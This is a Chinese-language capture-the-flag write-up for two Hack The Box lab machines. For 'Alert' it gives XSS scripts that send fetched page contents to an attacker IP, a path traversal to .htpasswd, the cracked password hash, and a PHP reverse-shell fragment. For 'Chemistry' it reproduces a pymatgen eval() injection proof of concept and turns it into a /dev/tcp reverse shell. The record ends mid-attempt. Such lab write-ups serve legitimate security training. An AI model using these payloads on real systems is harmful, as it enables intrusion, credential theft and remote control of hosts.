htb-Alert

开放端口:22、80,httpserver 是 Apache

进入 80 端口的网页,发现存在 Markdown 文件上传

根据Alert,猜测是xss

子域名爆破

ffuf -w /root/fuzzDicts/subdomainDicts/main.txt -u http://alert.htb -H “Host:FUZZ.alert.htb” -ac

**-ac**

  • 自动过滤响应,排除那些响应大小与其他多数响应相似的请求。
  • 这个功能有助于减少无关的输出,让模糊测试的结果更聚焦。

xss漏洞触发点

1
2
3
4
5
6
7
8
9
10
11
12
13
<script>

fetch("http://alert.htb/")

.then(response => response.text())

.then(data => {

fetch("http://10.10.xx.xx:8888/?file_content=" + encodeURIComponent(data));

});

</script>

先上传这个脚本,起python8888端口监听,发送过去之后解码

再发送contact us附上刚才md文件链接

这边猜测后台有管理员机器人自动点击链接

发现管理员多个messages界面

再发一次,同步上述流程

1
2
3
4
5
6
7
8
9
10
11
12
13
<script>

fetch("http://alert.htb/messages.php")

.then(response => response.text())

.then(data => {

fetch("http://10.10.xx.xx:8888/?file_content=" + encodeURIComponent(data));

});

</script>

可以开始构造

1
2
3
4
5
6
7
8
9
10
11
12
13
<script>

fetch("http://alert.htb/messages.php?file=filepath")

.then(response => response.text())

.then(data => {

fetch("http://10.10.xx.xx:8888/?file_content=" + encodeURIComponent(data));

});

</script>

经过尝试,无法直接读取到 /etc/passwd 这种敏感文件

但是考虑到 web 服务器使用的是 Apache,可以参考一下这篇文章

https://blog.csdn.net/cunjiu9486/article/details/109071899

于是有效载荷就修改为了这样↓

1
2
3
4
5
6
7
8
9
10
11
12
13
<script>

fetch("http://alert.htb/messages.php?file=../../../../../../../var/www/statistics.alert.htb/.htpasswd")

.then(response => response.text())

.then(data => {

fetch("http://10.10.16.11:8888/?file_content=" + encodeURIComponent(data));

});

</script>

%3Cpre%3Ealbert%3A%24apr1%24bMoRBJOg%24igG8WBtQ1xYDTQdLjSWZQ%2F%0A%3C%2Fpre%3E%0A

url解码

albert:$apr1$bMoRBJOg$igG8WBtQ1xYDTQdLjSWZQ/

只保留pre中间的内容到.hash后缀文件中

爆破hash

john –wordlist=/usr/share/wordlists/rockyou.txt –format=md5crypt-long alert.hash

albert:manchesterunited

ssh albert@10.10.11.44

pa -aux看端口,发现8080开着php或者上传linpeas

看下进程

看到config这个文件属于root,可以直接修改php内容反弹shell。

监听

/dev/tcp/10.10.16.11/9999 0>&1'"); ?>

如果没反应再curl一下127.0.0.1:8080

Chemistry

nmap扫描

扫到5000端口

漏洞利用点

https://github.com/materialsproject/pymatgen/security/advisories/GHSA-vgv8-5cpj-qj2f

概括

JonesFaithfulTransformation.from_transformation_str()库中的方法存在一个严重的安全漏洞pymatgen。此方法不安全地利用 eval() 来处理输入,在解析不受信任的输入时允许执行任意代码。解析恶意创建的 CIF 文件时可以利用此漏洞。

细节

漏洞原因在pymatgen/symmetry/settings.py#L97C1-L111C108中,存在缺陷的代码段涉及正则表达式操作,然后使用eval()

易受攻击的代码

1
2
3
4
5
6
basis_change = [
re.sub(r"(?<=\w|\))(?=\() | (?<=\))(?=\w) | (?<=(\d|a|b|c))(?=([abc]))", r"*", string, flags=re.X)
for string in basis_change
]
"""snip"""
([eval(x, {"__builtins__": None}, {"a": a, "b": b, "c": c}) for x in basis_change])

__builtins__即使将 eval设置为,使用 evalNone仍存在安全风险。BuiltinImporter可以使用子类遍历来恢复该类。

概念证明

该漏洞可利用如下方式:

vuln.cif创建一个包含以下内容的文件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
data_5yOhtAoR
_audit_creation_date 2018-06-08
_audit_creation_method "Pymatgen CIF Parser Arbitrary Code Execution Exploit"

loop_
_parent_propagation_vector.id
_parent_propagation_vector.kxkykz
k1 [0 0 0]

_space_group_magn.transform_BNS_Pp_abc 'a,b,[d for d in ().__class__.__mro__[1].__getattribute__ ( *[().__class__.__mro__[1]]+["__sub" + "classes__"]) () if d.__name__ == "BuiltinImporter"][0].load_module ("os").system ("touch pwned");0,0,0'


_space_group_magn.number_BNS 62.448
_space_group_magn.name_BNS "P n' m a' "

然后,使用以下代码解析cif文件:

1
2
3
from pymatgen.io.cif import CifParser
parser = CifParser("vuln.cif")
structure = parser.parse_structures()

利用poc,修改概念证明中的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
data_5yOhtAoR
_audit_creation_date 2018-06-08
_audit_creation_method "Pymatgen CIF Parser Arbitrary Code Execution Exploit"

loop_
_parent_propagation_vector.id
_parent_propagation_vector.kxkykz
k1 [0 0 0]

_space_group_magn.transform_BNS_Pp_abc 'a,b,[d for d in ().__class__.__mro__[1].__getattribute__ ( *[().__class__.__mro__[1]]+["__sub" + "classes__"]) () if d.__name__ == "BuiltinImporter"][0].load_module ("os").system ("/bin/bash -c \'sh -i >& /dev/tcp/10.10.16.11/4343 0>&1\'");0,0,0'


_space_group_magn.number_BNS 62.448
_space_group_magn.name_BNS "P n' m a' "

传上去解析有问题